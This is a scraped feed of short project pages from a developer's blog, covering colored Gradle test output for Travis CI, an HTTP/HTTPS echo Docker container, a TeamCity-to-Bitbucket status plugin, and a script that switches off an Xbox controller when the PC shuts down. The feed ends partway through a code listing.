Colored and folded output for Gradle tests2019-04-01T00:00:00Zhttps://code.mendhak.com/gradle-travis-colored-output/<p>When running Gradle tests on Travis CI, the terminal is usually set to <code>dumb</code> mode, so you get very plain looking output. However, Travis does <a href="https://blog.travis-ci.com/2014-04-11-fun-with-logs/">allow for colors</a> in their logs.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/Gradle-Travis-Colored-Output"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/Gradle-Travis-Colored-Output </span> </a> </div> <div class="github-repo-text">Gradle script plugin which formats test output in a slightly colorful way (made for Travis CI but works in terminal)</div> <div class="stats-icons"> <a href="https://github.com/mendhak/Gradle-Travis-Colored-Output/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 16 </a> <a href="https://github.com/mendhak/Gradle-Travis-Colored-Output/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 3 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> </a> </div></div>
<p>This Gradle script plugin formats the Gradle test output in a slightly colorful way (made for Travis CI but works in terminal). It also adds a summary at the end.</p>
<p><a href="https://github.com/mendhak/Gradle-Travis-Colored-Output/blob/master/ColoredOutput.gradle"><button>ColoredOutput.gradle</button></a></p>
<h2 id="usage" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-travis-colored-output/#usage">Usage</a></h2>
<p>Add the ColoredOutput.gradle script to your project, for example at <code>buildtools/ColoredOutput.gradle</code></p>
<p>At the top of your <code>build.gradle</code>, reference it.</p>
<pre class="language-java"><code class="language-java">apply from<span class="token operator">:</span> 'buildtools<span class="token operator">/</span><span class="token class-name">ColoredOutput</span><span class="token punctuation">.</span>gradle'</code></pre>
<p>If you want Travis folding, you can enable it like so:</p>
<pre class="language-java"><code class="language-java">apply from<span class="token operator">:</span> 'buildtools<span class="token operator">/</span><span class="token class-name">ColoredOutput</span><span class="token punctuation">.</span>gradle'
project<span class="token punctuation">.</span>ext<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"TRAVIS_FOLDING"</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span></code></pre>
<p>If you run your build on Travis you should now see colored output.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/gradle-travis-colored-output/001.png">
<img src="https://code.mendhak.com/assets/images/gradle-travis-colored-output/001.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Additionally you will see colored output in the terminal.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/gradle-travis-colored-output/002.png">
<img src="https://code.mendhak.com/assets/images/gradle-travis-colored-output/002.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<h2 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-travis-colored-output/#how-it-works">How it works</a></h2>
<p>This script makes use of Gradle’s <a href="https://docs.gradle.org/current/javadoc/org/gradle/api/tasks/testing/TestListener.html">TestListener</a> class which provides methods that run before and after tests and test suites are run.</p>
<p>The script uses the results passed in <code>afterTest</code> to render <code>✓</code> for success, <code>❌</code> for failure or <code>ಠ_ಠ</code> for skipped tests.</p>
<p>At the end, the <code>afterSuite</code> method renders a summary using various ANSI colors which Travis recognizes and renders.</p>
An `https` echo Docker container for web debugging2019-03-01T00:00:00Zhttps://code.mendhak.com/docker-http-https-echo/<p>I’ve often had to test various aspects of web requests such as whether the right headers, querystrings, body, methods, etc. were being passed correctly.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/docker-http-https-echo"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/docker-http-https-echo </span> </a> </div> <div class="github-repo-text">Docker image that echoes request data as JSON; listens on HTTP/S, useful for debugging.</div> <div class="stats-icons"> <a href="https://github.com/mendhak/docker-http-https-echo/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 770 </a> <a href="https://github.com/mendhak/docker-http-https-echo/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 153 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Shell</a> </div></div>
<p>This Docker image echoes various HTTP request properties back to client, as well as in docker logs. An https connection is also available. There are a lot of features available, see the <a href="https://github.com/mendhak/docker-http-https-echo">repo</a> for more details.</p>
<h2 id="how-to-use-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/docker-http-https-echo/#how-to-use-it">How to use it</a></h2>
<p>You can get started quickly with just this command</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">-p</span> <span class="token number">8080</span>:8080 <span class="token parameter variable">-p</span> <span class="token number">8443</span>:8443 <span class="token parameter variable">--rm</span> <span class="token parameter variable">-t</span> mendhak/http-https-echo</code></pre>
<p>This will bring up the image and start listening (quietly) on port <code>8080</code> for http and <code>8443</code> for https. You can substitute with your own ports.</p>
<p>Once the container is up, issue a request via your browser or curl -</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-k</span> <span class="token parameter variable">-X</span> PUT <span class="token parameter variable">-H</span> <span class="token string">"Arbitrary:Header"</span> <span class="token parameter variable">-d</span> <span class="token assign-left variable">aaa</span><span class="token operator">=</span>bbb https://localhost:8443/hello-world</code></pre>
<figure>
<span class="lightbox-image" data-src="/assets/images/docker-http-https-echo/001.png"><img src="https://code.mendhak.com/assets/images/docker-http-https-echo/001.png" alt="Docker image reflected back to curl client with various metadata" title="" loading="lazy" data-caption="curl output" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/docker-http-https-echo/002.png"><img src="https://code.mendhak.com/assets/images/docker-http-https-echo/002.png" alt="Docker image reflected back to browser with metadata" title="" loading="lazy" data-caption="browser response" style="width: calc(50% - 0.5em);" /></span>
<figcaption><code>curl</code> and browser output</figcaption></figure>
<p>You can also see the request appear in the docker logs</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/docker-http-https-echo/003.png">
<img src="https://code.mendhak.com/assets/images/docker-http-https-echo/003.png" alt="Container log output showing requests, responses and start and stop messages" title="" loading="lazy" /></span>
<figcaption>Docker log output</figcaption>
</figure><p></p>
<h2 id="features" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/docker-http-https-echo/#features">Features</a></h2>
<p>The image comes with extra parameters or headers that can be passed in for various functionality.</p>
<ul>
<li>Choose your ports</li>
<li>Use your own certificates</li>
<li>Decode JWT headers</li>
<li>Disable ExpressJS log lines</li>
<li>Do not log specific path</li>
<li>JSON payloads and JSON output</li>
<li>No newlines</li>
<li>Send an empty response</li>
<li>Custom status code</li>
<li>Set response Content-Type</li>
<li>Add a delay before response</li>
<li>Only return body in the response</li>
<li>Include environment variables in the response</li>
<li>Client certificate details (mTLS) in the response</li>
</ul>
<p>Details on using these features are in the <a href="https://github.com/mendhak/docker-http-https-echo">README</a>.</p>
<h2 id="more-info" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/docker-http-https-echo/#more-info">More info</a></h2>
<p><a href="https://github.com/mendhak/docker-http-https-echo"><button>http-https-echo on Github</button></a> <a href="https://hub.docker.com/r/mendhak/http-https-echo"><button>http-https-echo on Docker Hub</button></a></p>
TeamCity to Bitbucket Status Reporter2018-05-01T00:00:00Zhttps://code.mendhak.com/teamcity-stash/<p>This build feature sends build status updates from TeamCity to Bitbucket. You can then see build statuses against commits.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/teamcity-stash"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/teamcity-stash </span> </a> </div> <div class="github-repo-text">TeamCity - Stash integration. Plugin for TeamCity which updates Stash with build statuses</div> <div class="stats-icons"> <a href="https://github.com/mendhak/teamcity-stash/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 54 </a> <a href="https://github.com/mendhak/teamcity-stash/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 17 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Java</a> </div></div>
<h2 id="why-use-this" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/teamcity-stash/#why-use-this">Why use this</a></h2>
<p>Reporting build statuses to Bitbucket is a useful way of working with pull requests. Bitbucket allows you to restrict pull request approvals to a passing builds in addition to the usual approvers, so this can be used to gain some confidence with regards to the quality of a pull request.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/teamcity-stash/001.png">
<img src="https://code.mendhak.com/assets/images/teamcity-stash/001.png" alt="Bitbucket screenshot" loading="lazy" /></span>
<figcaption>Bitbucket screenshot</figcaption>
</figure><p></p>
<div class="notice info">
<strong>TeamCity 10:</strong> Recent releases of TeamCity now include a <a href="https://www.jetbrains.com/help/teamcity/commit-status-publisher.html">commit status publisher</a> which works with Bitbucket, Github, Gitlab and Gerrit.
</div>
<h1 id="install" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/teamcity-stash/#install">Install</a></h1>
<p>Download the <a href="https://github.com/mendhak/teamcity-stash/blob/master/teamcity.stash.zip?raw=true">.zip file</a> and place it in the <code><TeamCity data directory>/plugins</code> folder, then restart TeamCity.</p>
<h1 id="set-up" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/teamcity-stash/#set-up">Set-up</a></h1>
<p>Under your build steps, click on <code>Add Build Feature</code>. It will appear in the dropdown list.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/teamcity-stash/002.png">
<img src="https://code.mendhak.com/assets/images/teamcity-stash/002.png" alt="Build Feature" loading="lazy" /></span>
<figcaption>Build Feature</figcaption>
</figure><p></p>
<p>Simply enter your Bitbucket server details and credentials to connect with. The plugin will now send build status updates to your Bitbucket server.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/teamcity-stash/003.png">
<img src="https://code.mendhak.com/assets/images/teamcity-stash/003.png" alt="Configuration" loading="lazy" /></span>
<figcaption>Configuration</figcaption>
</figure><p></p>
<h1 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/teamcity-stash/#how-it-works">How it works</a></h1>
<p>This is a TeamCity Build Feature built using the <a href="http://confluence.jetbrains.com/display/TCD7/Developing+TeamCity+Plugins">TeamCity Open API</a>.</p>
<p>It listens for build statuses and posts them to the <a href="https://developer.atlassian.com/static/rest/stash/latest/stash-build-integration-rest.html">Atlassian Bitbucket Build API</a>.</p>
<h1 id="license" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/teamcity-stash/#license">License</a></h1>
<p>GPL v2</p>
<hr />
<h1 id="code-setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/teamcity-stash/#code-setup">Code setup</a></h1>
<p>You will need <a href="http://www.jetbrains.com/idea/download/">IntelliJ IDEA</a> as this project uses IDEA features to build artifacts.</p>
<p>You will also need to download and extract <a href="http://www.jetbrains.com/teamcity/download/">TeamCity</a> which provides the required jars.</p>
<p>Open the project in Intellij IDEA, you should see a lot of unresolved references, this is normal.</p>
<p>Go to <code>File | Settings | Path Variables</code> and set the <code>TeamCityDistribution</code> variable, pointing it to your TeamCity location.</p>
<p>To <strong>build</strong> the project, click <code>Build | Build Artifacts...</code> and choose <code>plugin-zip</code>. The .zip is generated in <code>/out/artifacts/plugin_zip</code>.</p>
<h1 id="troubleshooting" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/teamcity-stash/#troubleshooting">Troubleshooting</a></h1>
<p>If the plugin doesn’t seem to be working, you can find plugin messages in the <code>teamcity-server.log</code> file under your TeamCity installation. (Example: <code>/TeamCity/logs/teamcity-server.log</code>)
This usually gives you a good idea of why a call may have failed.</p>
<p>You can also look at Bitbucket’s <code>atlassian-bitbucket.log</code> under <code>BITBUCKET_HOME</code>’s log folder (Example: <code>/Bitbucket-Home/log/atlassian-bitbucket.log</code>) file to see what it did with the HTTP request sent by the plugin. In the log file, search for <code>POST /rest/build-status</code> as a starting point.</p>
Automatically turn XBox controller off with PC2018-04-01T00:00:00Zhttps://code.mendhak.com/xbox-controller-off/<p>If you have a wireless XBox controller for PC, then you cannot turn the controller off without removing-and-reattaching the battery pack. Further, if you shut your computer off, the XBox controller will keep trying to find the wireless receiver until it drains the battery.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/xbox-controller-off"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/xbox-controller-off </span> </a> </div> <div class="github-repo-text">Shutdown script for XBox Wireless Controller for PCs</div> <div class="stats-icons"> <a href="https://github.com/mendhak/xbox-controller-off/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 18 </a> <a href="https://github.com/mendhak/xbox-controller-off/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 2 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> C#</a> </div></div>
<p>This project is a ‘shutdown’ script which you can use;</p>
<ul>
<li>Set it as a shutdown script so that it always turns the XBox controller off when turning your PC off</li>
<li>Call it directly to turn the XBox controller off</li>
</ul>
<p><a href="https://github.com/mendhak/xbox-controller-off/blob/master/TurnControllerOff.ps1"><button>Get Powershell script</button></a> <em>or</em> <a href="https://github.com/mendhak/xbox-controller-off/releases"><button>Get Executable</button></a></p>
<h2 id="setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/xbox-controller-off/#setup">Setup</a></h2>
<p>To set it in your shutdown,</p>
<p>Click Start > Run…</p>
<pre class="language-bash"><code class="language-bash">gpedit.msc</code></pre>
<p>Go to startup/shutdown scripts:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/xbox-controller-off/001.png">
<img src="https://code.mendhak.com/assets/images/xbox-controller-off/001.png" alt="Local Computer Policy, Computer Configuration, Windows Settings, Scripts, Shutdown" title="" loading="lazy" /></span>
<figcaption>GPEdit settings</figcaption>
</figure><p></p>
<p>Under the scripts tab, add the powershell script (adding to the PowerShell tab didn’t work for me, I used this tab instead):</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/xbox-controller-off/002.png">
<img src="https://code.mendhak.com/assets/images/xbox-controller-off/002.png" alt="Shutdown script calling powershell, invoking this script" title="" loading="lazy" /></span>
<figcaption>Adding the shutdown script</figcaption>
</figure><p></p>
<p>Or add the EXE directly:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/xbox-controller-off/003.png">
<img src="https://code.mendhak.com/assets/images/xbox-controller-off/003.png" alt="Adding the executable as a shutdown script" title="" loading="lazy" /></span>
<figcaption>The exe way</figcaption>
</figure>
Apply and close.<p></p>
<p>Finally, Start > Run…</p>
<pre class="language-bash"><code class="language-bash">gpupdate /force</code></pre>
<h2 id="how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/xbox-controller-off/#how-it-works">How it works</a></h2>
<p>This script makes use of an undocumented feature of <code>xinput1_3.dll</code>.</p>
<p>These methods, along with their ordinals are:</p>
<pre class="language-csharp"><code class="language-csharp"> <span class="token preprocessor property"># 100:</span>
<span class="token return-type class-name">DWORD</span> <span class="token function">XInputGetStateEx</span><span class="token punctuation">(</span><span class="token class-name">DWORD</span> dwUserIndex<span class="token punctuation">,</span> XINPUT_STATE <span class="token operator">*</span>pState<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token preprocessor property"># 101:</span>
